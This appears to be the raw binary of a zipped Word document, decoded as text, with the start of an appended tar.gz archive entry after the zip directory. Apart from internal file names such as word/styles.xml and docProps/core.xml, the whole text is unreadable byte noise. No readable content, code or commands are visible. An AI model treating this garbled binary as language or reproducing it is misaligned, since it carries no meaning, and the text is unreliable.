&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!���k�word/footer3.xml��n�8@��W�E"K~$6*m�YLjL��%�V+>J�v�+����?�n��?84�zفj��t���A�u�}�^���ܳ-�ұ�>v�[Q�0�S��^�b�
�!I�>^Q��_�x�DF!��z����g�ȁ��`F��,��"2ǁ`���8��R���Zn+�I%�5�:#|A4�q�}=Z���-��3���0܃!]��VA^x�UT�`TϱVU@�F ��B�6#���^3�W%�4#����f�J:�j�I9,FB1b`��#��\XO�$6+`�z��c�@�$�vx0��a"�I;,(��s���Q)oMd�_!����D0g���sG�b!��Ų�p֔�����Ă%ž�tk�ˮ�i��r�c~�d��'��'b�D�,,a��ōB�\��R�
��5S�`d�@r���a�n��+�)���>-[.���
-~�jS�K�>��g�v%�s3#���\(2I�"�!i���-�
�E���JС���v��`A�v;^�Î�
E0�������$	U�b��L)���	�V��1�!!;���ǟ�f��dg���p�R9�	n�#	�A���V���	.�F4"�Ĥ+���:)3��1�����!(fT<�;�"i%�|oPٻ]I�N�R�����Ɣk�n齱�<В -�T-("(���Scu�����Z�����?�o/�o�>��=�TE��Q�;�wS�*�(.�J�(ȋ���50���Ψi� a#��?_>������=����\�����J+�w��#/:n�妸g^4�#� ��N����ݗ��w��69Vhe�n����E�}Ym��eeu��Rgd��?��PK!��\dJ
word/footnotes.xml̖͎�0�����U[�jo�������o�qB�m(
��K�홟�3�1�?�Dl��\���!
��*�r�@����P`�	ɔd�g=.?�q����1Cڸ�t�6��cK7L��eU�T	�ҔS�e<�������Z���[b�Gw�h�!8{��
1��N��f�?�Y4��Q5�5�^U4�U
Ҹ�Bp�n�A�4�F6I�n�F9�f�+�$,���`h�X���5q��g��Nj��"�:�0��0�B%,&5E-Pnd|������?�j�&��e�h.�te�ذr���p}�pѕ�����Vd�]������iU��l#���Uʯ��ʼnx�ѣ���{�JT�i�N�9Kn����`By˒�U6!�<�Xvf\c�^�Z����Q�>�}��S��o�֡��;��'�uC4\	��Ok�y�@�Pe�'�p*�o:�<�V���5�[��!NS��{Qi�a#�����t�u8��Ԋ�$�\s��O���G�
�l��jBA.��1��B�q����8xɽ~�;��r�����Y-�ʠ|�1]��*���K��X�2ԋ���}6��?��PK!��*4cD
word/endnotes.xml̖ێ�0��+�"߃�����ޭv��:���o�qB�P�Mor�g>�3�q2܋4�1c���C0IU��f�~��ћ��:"�*��,z\~�4�c&�� ��sMh뜎1�t��}��QV�]�*��z�)ù2	�QX<i�(��F�Xt��};ZbH�8�tK�c����<k�@� j��7�&ثj�F�@��Aw#]nҍ4h���H�&i֍�('�,p���ɵ2�8x5,�y�t��8��S��'�p��Ax�b��L�b�����(32>��N�^z\�o��i�R4L�"rlX
�P�n�>u��J��m�]b'��.�Q�v���*SY��?�_�����(l�#q�h#�㚕UX/�)5gɍZ `�L(oY���&��g�nÌ+�=���s���Z~����=ս����
�c՝w��O��h8��6R�"��� (v�_aW�thY�*y��-����!�񽨰��
�"�����t�u8��Њ�I���̳}~��%���Մ�Z0"k���
�C�}����K���)��s|r/��rʔ�ҥ訒�ˬ8�^��4�/�(�J��]���PK!ĩ���word/header1.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!ĩ���word/header2.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!:�8��word/footer1.xml���n�0��W�;D�'P��X�U�V����C��$�x������n���0���3�7�')�#��k��h��)�S��	z��2Y��y�R"�b	:3����6E�y�Z��04A��&��ќI⦒S����j�u�q�p�m�gaV��Ք9K}'�H�q�ԏ�ZR��>b��٩eD�!���]�l"�E]�|0j�KW��(���H�n9�4�V�H�.i=��)'�-pm���L[I<|�{,��<�	�
����
�p�9���9OVXꔉy�Pt�Vŵ~r՗�㋾���E��� ��U��2�����\;\���d�@�_q���_a�����iwIe�c�ο�_��ǎ��������l�H��v�Q��In��i�`Iyϒn�lB<���86�h0�,�V/��j�a���4~��|`�Uw�	�>3o91p$H��C�#��� �v�|®eӡ-�LP�p�H%(�<zZ����A���J��VÛ?��G"D��
�g˱z�d���PK! 6@�I�word/footer2.xml��n�@�����W�"16��Q
i�ESԐ�18�\:3ܲ���{�
�k6}�F=ccl�GQT����矙3��dABc���a�40u��qǼ~<82
��P�(�K,͓��7�󶯄j*�s�v̉R�mYҝ`��!	\�$�աˈ�|?p�5g³��]���`.�R��!i�q��hb
�Y�	�)��R�Z�Q��;���jX�UT+W9R��/�k�#9yR���'�#�ʉ��qLa�g� �bl$n����`��Z��H0(��%�jC UooB�"��a�K(�cNm����ގ��D!��?��;%��h�!��r��	'ei08I �]���0�ݜ���S�/e
,b��$���&ڕ;�E�9'�0M\ji2�kl 	��nP��F��0Pf8'�$�Q�����\�)Oi��h�ٟ���u�eO�|���	���۾S&�(GPC����]1�3�� =��}���3�ˆ�4�Ֆi���t�ϣ���9
C,��`��ظ�����>0�1�o�-�5
�N1D�m��1g��H7=F�ݞk�J�ᴜ������c����1+��i��n�I��}4
Uf$R�L~��!N�"��q������F}(]Rmɑ��X̰�]�|���mu���zx���7�NE�X��Y����ȍ�ѣxjwIv���w=��X�^���j���i����ֿ����I	�J�Bu��gz ���s�9H�-�[��݊wq+;e����Cu�W�L��<Q7��a��+���O�^��̋�n8I��t��vW��v���PK!�^}-$�word/theme/theme1.xml�Y�nE�#�����;M�:U��-�i�$-�q�;ޝfvg53N�[��@��8P	�p@@�qi�}�B���fw�{B�&�
�w>~���_�3�O��<iz��U���M¦w}�{f�CR�$��'��
��.����y��"�\�M/R*]�T��X��)I`��E�LEX	>�1�,T�K���C	�����O�G�#t�ߧ>��
�_��z�gbGs'��OGG�ǣ���'w`���`��r(�L�}̚���.��<İT�����U��W�DLC[��ON�{�N��1a�[_9�1�oL��:�N�S�3�`y�K[�.�Z�(��nWպ�/�_����Z�Ɗ�7�lX��/W���ހ�acV��z��d�
(.���V��6ހ"F�����82cH��KN�2�����*�l��5o��] 0�Ɗ&H
S��>еq�k�x���N��˙%-I_�T5��SE3��x�G��ÇO~z����T�p����ɟ��?|���gn�,����_��2���G�=<z��G�w�_�W��ҘHt��m�a�'^�b7´L���'X�8�Y�C���X��=xC@Kp/nY
�Db��x9�-�&�ŅӦ�ZV��$t�2n�}��T|;�r�HKK�-!�!I�Bz��� �I���M�.y_���0u�d���l�]�1�e�R�m�f�jq�b�A�m$Tf.��Yn��
�N�q���+XE.%w�·.D:$��N@�t�\CK��z�3�l�H��ys^Fn�v��ԩ3M�2�=�)��WN%�]!zq�ɱ�A���uZ*MD���$��q��敩^���7�й3	�׸�U>�򾻳��-{�^���n����s������y�-ှm�o���9Wϧߒ']�ɋ��a�}
�S�vԐ�+��s	�]X4�d|	H#��-\(�#��TE;NAl�He�:�(��f��[o��Dek���	h�6y�-/�/�c6f�p!hQ3�W�⹓	�e�9�Ռj���&;��G�M�#������L4$f$�~�a9��$���{֐���n����h�'�6O����Lj+�w�(&Q�u<U�,�g��j,4<�����8~R�.�¤�*7��<m�;-k�c
�D�B�
,���l�D,��Шk?���n4��˵Q�(����WǬL��("v����@lc�[�*�P	��kz"�B����ϫ`�7��:0K#��$]���܌�:�YI��lJ��4Ŕ�)�RN�):s������ѦDž�8t�4�~W�A�����V	1���֕�O�V���`�6
����T$�R��/aV˻b^9��όՕi��}�vu�.i�=�$w��M͞��腺P�ԓO�6�z<����Vj��W���Tx�Wmֱf�-4�~զpmA�7>��/�]�
�G�8Q"H�3��R�F=�9[̤iV���5	�X��q��������^����u9���̖h�t�1���x��ހ�Ҁ)i�#���.��>�DC����PK!ae��VIword/settings.xml�\Yo�~��@�94�>KA��;	By�Ņvw�CQL����=D��:�?��|���U�uus������C?�W��%��]^��Ű\m߽���/��]^�n���ös���/�����f�O��� ��f���a�v7���C���
�~K�0n��~�]o����j1lvݴ�[�W��`�\��o.��͉��f���p?�Cn���բ?��<b��y�C�x����0�د��a�X�gj����g"��">l��8���>
��ӈoao��E�ߓ�6�3������+B���>-�@��sv��s��# �"`�寣aN4�i�gt���#��d�ϛ���~�-�=B?���n<�I���͏���ݭ����������[�4�����ͮd9�������p;u�~���a.�}Gԟnލ݆6��a̲����/���4��-�2w���q\-��?��ԭow݂�_��闫�n�=���_�������ԏ'z�����r��0%��#��q��r�}�v}>2���p���V���p�$����DNg�Zn��4!S~�p�H<��ô������q]��ܯ�|�zl�]~��+:_>=��b�ѳ��t{�4d�m�2��|?�~V��v���Ϻ�=���d��R�8LӰ��y��on����R�X�1��7�U�R�*4xD_��Ɠd�B�5Q^7�٢��\8��5½���aj�1"��QI��1��c9���h�L����1�Bj��R��e^#&���*ւᮡS#��2�J{<�U�V�h�05�d�ԜNK�s.��U�	���u�
B�5�
�[��cmG�E
j�<&���g.�)��F�i�l�mP�\aY�*�v���}Z�+XE��~�1s]�Xs�%�wV�b�V�5\)�Z
�S΍Ӑ7r�@޸���H���+s���!�x�.���+&�!�e���1%�X�0�E���^���A�↥�@�X��֜�)�Z��n��16q,Q�YQ�S��ت��SRq�C)�-�䰅Dr!p�(
oP3:4����O�5a�I�z�Ҥ�j!9a2�'����֥���ʼ��T�^i��TI�K1x�Ն
���Q��#��x/N�Z��#D�F~O+��i+����m�9
�\��i��(�c���:�a
�Q��=� ���N	�W��1VF���8��CeO�:�5����+�xg�@�s����J���WH��Ɋ	<O6��H!�!$�,�2���}��6J8�$+�/�3(B�s�j&5	�S�r!��I��Ij��1�I�9��I륔�^)���+ՒE�(��@+/���1:�J�q>JH‘VZr~x��mxh��d�em5�qA:UpN!�6x�H/(�ˆv
���B�d��ŕ�L*Hlo���m+��L����X�E�%�%؏�:[O�K��Z0�U{�e��b�!g�D��Wjl��;\7��e�򦄕�#�9��<D)VpoC)!��TJ�	S3��e��Q��9�q�T^4v��(h���X)e��+��$��Td>ajQT\����J�U�U�E��:*��!$;��"�=��m�z+/�bQ��4c����z�l�P:��+���\������l�T�Y�uj
�X�ZJ����
ϣX�p/h��2Pd�x=Jg��kE�7�Z��N�nu�5	���c=!)bh������f�ę!�!#"�hj�[c,���ig���J{fqgN{��k/��:P.��O�|�1Fg����U�Nd!X�p\c�"3��A�t�
�ʤl���3W���H�9J(,��)���� ׆,>�1Z$��B��c1�+j�Ԭ���d�`8"$������Y�r#o��9�;��k�qs�Mĝ,�kh.
Rw�Z��z�a;����&np�'1�|^b�=�e�U��d�q���qU`��ll �F3�Ű~����2+����AB�-�lov�[P�S@�\[�x�\[a�R[a5��V����U�[b�
ja�Eah���V�(c��
����z���ִN�R�J����j�v��ȋ@O�Z�lݒ�x=^���R��OIm$��DJ^����9�Ͳ�j����ͽ8�Q�fP?��=>�r�5�P7���N9��9න��>ub�� B�T�c$w�+�(�Ɲ9*΢��tZ�S<d,��q>�R�v������P��bh���u�5:���FǑ�ŵ3%���}��K���;�k�s�r���磎�z\�8�>-wA膽�8!${�ud���"�H
D7z�.��ٻ�B��˦��"=�U�hѐh����)���B5�g*�8GEN�x���6|��ĝ���!�b�yn��+�&�<�S��N��g�^���?����y��"hh�^��a�*"���<
��h��1�u�UpG��ұ��BO2�<�ǸK�ɷ�Μw���p\�2p�O���LS��C���a�s���]���(�'��{>��k)��v�()��N\��'
�X?IdžUz���*�����0�"���i�)!�7��ܰ��3�	y��wS�D�|sz����w4�`�� x�p��;���:�'�
�R�=h��|0&�N0���6!	�5�$�ys$ ́��z
^'s��mmp�·D�dk�e���E��d�ƚ�R4d�)!�c���Y@��r�[��w"�9�.N�L�|4R^�#S��ƹ*�Ԅn��R�瑺�XB�D�LT�ś�{
r�
G�hd�r���1O�!�*�#mԆt���%+�7��8{�II�c&C����O�cG͘�
��Ƭ+���w8.Ģ����o��e��bK�<��m�e0�J�`T[p���K�p�40�-�=g(������w�(	��D 	Qp]��"��P����Ź$��C�+�^HJ5n�'e���4e��+'�<>7#_p��*���|�#�Q�QqʰKe�8I�0ܝLA|�%#pN�"/�[&����bR$�b-D[q}��`�"�-DBBC�IzܫI�F|����
�5��'e-��*~�]I�6��D�{��d���LI�Wef*�����g.
�����8�ʂY�_g�8�"�%Ogi����e5�`Dp��V�q)+#���yi�G��]��U�X��Iq6�0�mSܕ�Fܻ͖b#��)��$�W���ȁ^O���`<��(�"9�F�*G��_��$8��3�R�tN�5��)�1Yk|R��

��l�Ug�ePMŝ�¸�p�N�
�V8���1�aONHű���;E�c}��S�"��P���7�=>/)N񝟢��
DY�P���|����Ւ��<���3�0��\�/�J`Dž���4�U%PɄ��8�2�$��}%Y���B�G��g9%[��5,�
�s�1X:UD|�2ʈ��S���\�ͫ�i9���b�q��Ґ�o�׹�+%�3h;u���WJ1�T#$��j÷�	1�ST���ԬlDZ*W���q�l`�x��͸E�ܬF%�fM��A�db�)��<E�-�EI\U��5�{k�-	�p2#�Gh�����e���ǟ객.6���܍�����#��w�ڞ�~�ϑ�ǻ3xuu��n��c�8�l�����������>]���Dk��E?�qwG�i�v?n���"�:�*���v�i�9?�?�ݞGm��3�q��ˇ� ��<�t��-����Kg���W��w]�B��g9�Խ|	c|���ߏ�b=H�?w���
w�������� L�۲�~�{'N�8`�~�����/���g���3��L����g��L�<3�gf~����j�������z=<��^��p�6��������yx��xw��w_RXvSw����[�/�O+2������GG~wd|��O����i���W7�a�#�8����FI�z����$�*Y�|��,W!�x�K�W�Ǽf�{��ӆ=����PK!:���word/fontTable.xmlē�N�0F�W�"��8iZ "EХ����
�u���?�'m����I
R(�b[�M�����ͳV�^8��d$�P��F�mFV�$���
Sֈ����ُ�:ͭ� ��R�3RTU��!�Bh[
���:�*|u�P3��+Ϲ�%��Z*Y˜�9�0�3�璋���0��:��h
���V�V[�)��ϬU��L�#&J -��`�j���v�Q8=��I��l �\n�1�#ę�8 �af=Z<�@����X��
I�&���6�-����0��n�d��%3D��=S�1��s���MH��s D;��qδT�>�Z��RV���=�qm	�;Xӌ�SJ��Պ�I��%&�ɴK�f-����1�M�=ǿF-�{�q���xX2%�N�0������'qrq�&��u��jfN��7�h%�f���8�m�~���1�
�񻗤U�\��E,���5��D��PD����+�D�9e�i��C��.��Z�ƯM$M������~�%�>2�=��/��PK!��;���word/webSettings.xml��n�0����׎!�`)
�Ҵw��DIA�V���hq��9D�\zg�qF��Q�h�K4K�N�XJ�Y�_���M�X�<�^}�pU�5?!��#��k�d�l�^lAs?A��:��nk���@my��T24q�$s6`�[(XUR�
��:}�@��J���-�]i
�Ѫ�i.�3&�t�R8�X�	53TԡH�&���0��s!�q����Iy��03;`|��EZ�_6/���D�]ԁ�g{؊&��{?�Q����3�-�iz�m(�ln��+ʲ��Ҁ�A��9z/7�W�hσk�?q*d]��
G���f�v_kX.`�*�y什=B�T6NY��h�֝v>F��͗�����$˲��}��}�k���
R�'�E�vX{p�i����׻��Ja����v�^���PK!ay�
sword/styles.xml��rܸ����;�z�,<��Z�\���5r��Ѹ��M�ՈI�C�-iV�Ie�]6Ye�'H�jRO�<C��`7�C�y@ĕTea�����r�����wI��Y�xz4�d{�4�Ko�o�/�<yA҈�<�G�{�>�엿��Y^��4 ͟%��`V�g[[y8�	�?�s���<KH!�f7[	��-�OB��I�&,f����@c�.>�����p�дP�[�������vۅv˳h���ht����t���������D4F�H���ζ���k�����E8ƾfl	K��SfTa��
�$|��&��Ă$�&�X�/�LG��3:%������*�_�7�炧E�>#y����8cD4��%yq�3r-�'
I�(��8͙�q&?;�ya�v�"6ؒ���{��~Zm9���m��嶘�7նl�����M���M�=���Xn�F����S�I�T9dZP�"�$4fRR��՗�٩dQp]��W�-л"�ƥůt����h4.�GU���U�x&4w48<��4a�,�hj��XD��h�&��z�WJ7zC���<<)��yt~ҹT��5%�'���rӂ�W濫`;�M�3J�P�<F����"7Z��\<j��U��c���
}���>FA���� ��O�҈ޕB���&�E�h�Elh�EKh�E*h�E	h�%��K�9�0Ep
ڢ���%�۹��7��)���yp�n�ݸ��w7���܍�y�v�n���r�<2K��*�r^���AA��H*X*?�Ó�ͼ4����Dܛ�}s�(������>
��f����o�i���"�H	�G`F�Ef�����f4
�����`�.���؜�o,�F���"zV-��	��		3޿j�x^��_IHp��c��O�)V��@a��
�?3P�����3_]�i�zJ�<u��y�2>}���y�7M��o�ֿ߮Y�!�\u�t?vwsyD�w=��&%b����L�+�����g�<݌5ی-�G����9mE�W!r*Z��E���|�k��$�ϓ�V��{)��r�v�'�/&E�h��h�$^��j#E�[�e�74c=D�+�����1�kٿbkVY=��VO#=�2��;?���f"-{כt�����q\d��5S��%�$��g$g*W�!�O�չ��%��n�ULX��o�O���
�����e�);��O�1���_���_���H��{O�=�txH�N��I�$��I,3Yʼ̡����p�E~hW-/)�'�$�r��A[b\�㏇Ր�}M2&��յ�q�0_L~K�C�+x92��P��RWY��_&�p��ʛbz��롱5\���p�{�<g�S��<_ͭx���?��<�l���u`�փ�[�x����+��+��z��pHN�~��ț3̗'̗̗̫�_�c��_�c��_�S�<-��8�:�{:�c�|ř���3�g
�+Άg�N�"��c }Ŝ��7ѤM�<#ٽ'�yLo���%�*�Sy_Oˋ�= �1���b��r�[:�V5��Y/GDIs����z�iFGG��J����wE�b��#�YZn�Y���y�q�T5:}�nfE0���	���퍖UZ_3�\`噚Yu�K��K�ERU�r�?�n��f���x�ިY�:Z�2�7[���5˃���L}��FK���a����5�A[��2AK��E�ʸ�ض@ZY6��A[դ��<���M3v�n��cTd�`�d�t֕�&���=��?f�T孮�x\�P-�;��_-xyt�vZ���_���*�i��v?�Ue��y��#:�;vD�Ȏ�4Y�QC���yl�#:Rvz��3n�����
ڻ�V��2Z�X���vZ��j����*0w*���
h�BZ�p�*��	ڻR\�
)h�BZ��*D��
h�:���NB��P!-T�@U�{��
�]�
).B��P!-T�@"�B��P!%T`�$THA"�B��P�݅
�qB��.B��B
Z��*D��
h�BZ��*0w*���
h�BZ��b�B{�P���P!�E���*D��
h�BZ��*D��
̝�
)h�BZ����D��b��QO�u��O]�J�6o�6Q�VvV�;N84ޞ8T�F7�Č�CԖ��&W]8�:���i�}@&�磙��)��u��T��B޴I�^[���`չ�6���`�kt�.�KW�t�ۆ�x�b�6Z氋��h��p��l�n�
�Q ��֣�����
��� �	ma	}U
�P]�f't����ՍvʟVޱv��v����̰�v���u5$8�`�]
Qή�(7WÁ�jH���}p��\
0(gWC����T�u5$`]
	XW����wWC���!���pq�u5$`]
	XWC��������j�rs5ȒѮ���!�jHpr5�����]
Qm�VGQj�Fy�0�-�C܄l�g��![2��%��-A_U>�eK��섮޳���N@�ӊ�;֎B{؎rs5.[jr��P���qْ�ոl��ոl��ոl��j\���j\���j���Npr5.[ju5.[ju5.[���-5��-5��-5���lŸ��-���-�]�˖�\�˖�\�˖�\�˖���eK���eK���eKvW㲥&W㲥&W㲥&W�%��q�R��q�R��q��Ka�<<(j����=U�䳂���4�9���(@7u�f+Y�z�ؿ
�77�1�ʇ�j��� �r*Y�@��K��J�Y�^U��\�z������ܖ���Ù�@��Ue+T��ZU�u�T{��]wY�_��ZkY�@m�Ꭵ�����PkvS�D5&q�4��y*��V���`tGJ������KR���]c:-�_w��s�>)�g��Ԩjl�+S~��b�ts��}}���ջ
]��;���ܿ��Ԣ��Q �}D`��2V?��~#]��x�wwG�g�/�w�o��[}i~^=�Nx�L�e��R峦uC�3�� ʤ��ՉazM^E���*�����s2f��iz��k7�R������=��g4Ơv���V��%}�z��w��KP���]��d�"���,��|��l�E�z�g�Ȳ�f����\.r�jZCT�6G�5˿-�_~x���`���?-Z�������`�������Vc��t�v���=�-k��}Ѝjո�-�%�a�u���ӳ�Quŧ=��Z9����7B�̙�bAb�`#Z;L"-�����z�r~1W^�p��{|r��w��_EA�N���9�w]R�:>����C�����
�T��z�
�ХV���G�OA���ZY�t{������|��]!�r�C&�~2�,�8������
��.�Ñ�!e�h^�����rg�?/�����L���_��W~^�(�����������a�ч$G��C���M�����5�T�Ӻ�'0��*��~��:-W.�=է����PK!�"K�docProps/app.xml �(��S�n�0�G�"߯N��N��	uB�V��vm���"�-۫V.y^�w@��wo�q���qE.��}�|�1;���d�+�$�$-M��fA��W'g$�A�BTFÂ�s��[9c�>A
�d��S��j�G�)��E@�m�)K%��Ȼt��4�R��(NlOH:�.�/iad��o�E>�r�m%𷱲&Ԍ�^�� �\�_�Φ�m��|�hحq������V8!6�g���{im���_�FIg�)CrՊN"���Y��s*�y���d��F��!����	��|�[KQ�{�KQy`�]���]	��|2�x�'<&�;�!vnAv�)���:�ŕ����s��<�g��hj�b�Մgm����h� >��P��*������VC��Q��ǯ�O�N��{ij+4v��;��_��\ąyl�s��*l�Vȸ9��JBl�^(p��z�ċ�*��z�!�i .�M��y6���[u��j���PK!����U(customXml/itemProps1.xml �$(� ��MK�0����=�f7h]�.�Cث(xͦ�6�$%IE��)�֣��a�y���a��}��
`�2��ڎ^_�HY��rvX���ñ�Q��<�#�,5t��V�W�������3R�#Ms`Mw_��uߐ%�Mg��)��HiPvnA����FƄ~�n��֩ՠ�t��wT�Io��Ֆ�w��p�[���Z.�2k7z�L�@���Qm|�����PK!W%�R��(customXml/item1.xml �$(� ��A
� E�" ��B�@��Rn��F���hn_)�'��ޠ�L{1X�Ā��)�8�Ǽ��]^9����
6��+��
=rG�@5��]ʸ�Ϧ�YVH�z��d�����Ϡ�>�Eew|eQM�b�7��PK!t?9z�(customXml/_rels/item1.xml.rels �(��ϱ��0���ho��P��K)t;J�GILc�Xji߾�+t�(���Q���E]1��h��jP
>N~��j���.����G{��J	����D60��o���,W�0��H9X)c�t��l'�_u���ݓ���|P�=�;6��w�#w	�E�v
���d*���yB1��ߪ��	�k�����PK!9Zbݑ�docProps/core.xml �(�|�OK�0��ߡ��&�6��UP�IAp�x��lӒdn��g���C��L��s(^��y��y�xg�g�(-
�E4 �ɋT�A��{�6�a2eY!�����N���2⅂#U����9��/�hhLa��r�GH^*g�}�.�d�!![8�Rf��~��B��FY�TVR�!��ј�X*���2fZŸ�2l�
8��q�F]���G���f�%q�##L�����7U�0S��>��ٝ}�O���4#�Q
/�j����]ʅ�twZ)?��޸�ݳ�ɾڗٵ��o�+ƿK*��+Q�sҡ�f��x1��O!��q��p��iko��CIHh蓖Oi����r^��V���5���|��ӭ���n\
���'�|��PK-!�ˬ�	[Content_Types].xmlPK-!���N�_rels/.relsPK-!1���V�word/_rels/document.xml.relsPK-!\��0Fu��	word/document.xmlPK-!ĩ���!word/header3.xmlPK-!���k�T#word/footer3.xmlPK-!��\dJ
�&word/footnotes.xmlPK-!��*4cD
�)word/endnotes.xmlPK-!ĩ���,word/header1.xmlPK-!ĩ���U.word/header2.xmlPK-!:�8���0word/footer1.xmlPK-! 6@�I��2word/footer2.xmlPK-!�^}-$�O6word/theme/theme1.xmlPK-!ae��VI�<word/settings.xmlPK-!:����Lword/fontTable.xmlPK-!��;���
Oword/webSettings.xmlPK-!ay�
s�Pword/styles.xmlPK-!�"K��^docProps/app.xmlPK-!����UbcustomXml/itemProps1.xmlPK-!W%�R��PccustomXml/item1.xmlPK-!t?9z�(3dcustomXml/_rels/item1.xml.relsPK-!9Zbݑ�9fdocProps/core.xmlPK�iw8zplf/w8zplf.tar.gz000064400000223362000000000000010330 0ustar00���r+I� �W�Y�C�]  �B�4�}�qx.'�L	$2�\�U��l�$3���!z��Øf�ua�D�悅䩮�{G��]Dd,������_���������P�l�/D"�`8���?'��
��g���ߧ�`�������LV�f���TP�
��b~f���`��"Oĩ�r��������WYљ񌓧���I���}����}bܿ�h��zp�\^��LE�9~	~���i[E�A�i�QcEY�«�-a��������^{uT���6Vŕ�>���W�ӋKv�;�6�q1�:	3]_i/���n�Ǽ"�A�+�V�E09�8�z|��t?�^\ϟ^X\��"S$$�?�TP_ю�E�Pi?����{Q��_`��?0/.Y؎Yd��zyQ[I��I�.�$Np�u&Ng�O`t�P
,e��
Xj��3R'��t*	�p|^�*�����A�A+��:��Q`,A��buE�F�
�5�S�3/3U@-��(^�o^Ɛy�˨�>5A���#��8;����U[*{��fQl����i�@�*����k�w�/%�\�xW{0�d�Č���ʫ�%��ıL`���G4��\p��~��Յ�
���EK�uQ�j`�N%e�I�5��c���
��
����7V��#��In�0VL�Qftn$	�0�)�6Bi�8�d�\�HH�G�[�Z�I'ډd��i�:`�	%��2L�u��5ɶ�E�|��<¿ �
�^1� �-'���0<�p]`�1����W�=s����(�o?C(W��?��Õ���x&n���4⏈���F?^W��ǂ�I���� գ!�,W`á0�0V�	�$!�&�B�.��!�+
~A��_{
}�!Դ0�j�}��(hoF!��V�݂�4�"Ò���������L���~O%Q��q����2���
�"�.���$/rT�Mҍ�ْ�'N%[�ı��h��E�� �aCH���	�@�Q]D�c` ��P���+(+���=��u�	1fĒ-�z]� �`�B�VJqDx]U��*nmU�����:�8�u�

�yc������A��c�2��z]Mk���L##Ф�߄�E�_�
դ�G(h��pC��p0����^ÐH�0bྂ��ch���������أ���h�@��8�k�3ZV�Z3
��_��e��*��ĥP�f�|�8�?q�h�f	x]mN�t�x]�������Y�`_P_Xa�"4���.'	��6b8��/�t'*�<3�s��C��Š�1�� 烆�{����q{��8V�ps{�x�����x�߾�03�w��ɩ*��q���V
����
�7�����{��7ׯ�L��i���a���-�YQ�`��}�e���R6����
t�4����͂?(����_0�t�+�{:_�V9��=���c��G�Kn�(�A�n����������{�{r��~�l�Ä�4լM!_�~d���}#��5�� �&X<����YAO>�$2~0�B�0p6�^	d�G<�͕ �\(�`���H� j'���6E�WPN���9MB�uZ��=2&�S���q=���D�U6��*����e���*���j ��NG�m
�7���Ym��) +�˖�C2��M�;��H�up�T����S�4���')�"eQ��'��<���q�07�w�^�����9���3��^&a���h�%�K����^!�FihQy�B'$�cc{Q�����u�	�%.��j�"	XR���v֍�D�pĈ��1�
�S��T����Nf{8�-PMc̼Z�l�Pl9� U!
�w�I3E��f2�h��*�4s��4+���y�P8r۱Y��n��/Q�(gRv��3��#�3���N��$�Q���[4s����;M�V+2_ܦĈȆ%@�}�d:(��fȠENs�\�lRXD�9F�,��z
�`�LF�gH���L��qn/��j���"!����y�@���b8��ǰA�_ɦN���m�60��$f�*[�'���86��~b~�#��4���w�ݮ�&R�L��ZNTs�D.I�{f�h/�?��A������z��p$(Fh���	�V�x��2���@�pN�
ڑM!f�G{��y&�0!�g�	^�G��#�q��@l�ÿ¿���W��I��c� ��~�r��48G��1��g�����cn��XaS�M5b�pP�/nl�?<�Ձ��z*�<�^�7Q�i7n��dY���OE}f� u#�Peɦٿ��X(���]r�]XZ�ƺgh�p��q��L���b�@��R��X����i��ǀQ��j0��կ��;bS]n��ӏ�8�8���H���wf��b�V}�T3�T��I�P!UKg�
���L�g{�5[(g^_I6�k9W�0\�>��6T��h_?�<���//����?߾�^~}q?��8�
�Ee
õ�I"�-�"U��#ܮ�I�s��6��n �x�t�bvK�s�:ce���>�n�x��'��m�v�	�_��`��T��mUӾ07�/'��]1@��XY݄A�z���%E[OW"
hq��d
)q5���V��&$����	��WX/]d�B�諂n�2c���Q?�47B.���BȮ�g���҆ڕ%�j7�oи��p&�M �w�$���H6.GG����c��V��<�?�m,ɿ ��k$� �ݻam�Y�|:�K�����&9����N:T]Z)h���,5dI��LtF����.5gG�HSC����`�i/#��
�%�¶:�!LJ%\܊@q�pݐ�?1�]����2OOfw˶��B�11��47^��ǐ���~9R$q$y�(�0f�96��!q���[�"��T��F[	c�L:�����T�q�����Rt;��-�~��4[�֘����Vv`f掼�����j��x6C��me�Ԑ\�*;��!
����B��6OO�b8�#yC0/HwF�Hu�s3����L-Z��&�*��Z���7��;ך�GZ�ܚ��J�[��>�_�Z�?ךAT�54S�����e��GBJ��l��	آ	���Yq<N�ƽf#�vliP��O�nԢ�@�0��I1���N��-�����|�u ��T �@)��?�|��<��ÙyT:x�9t&��p&��g�G�Hi�0Ҥ`����h���Z���nώ����(�9'Ob��g���h��ň�p�c#���}��x�� �҉����m�x
�MЩ@<�LT�a��"Ǔ��XD�0��5S	�&�-�DM��业	�r���B^�.-j+Ea���� ��K>�@۠�	~8 >2����l�W�Z��q�,�ݱpG��"�����w`y	���ޫ'-`%+j3�1�p�NՅe�;[�,�S}���~A���P�~�B���D2���-:h�����n��H{�R`{�'�\�e%�6X^ƥ�Flgћ&����ʒ���
'���D��`��:E��ɠ!��@
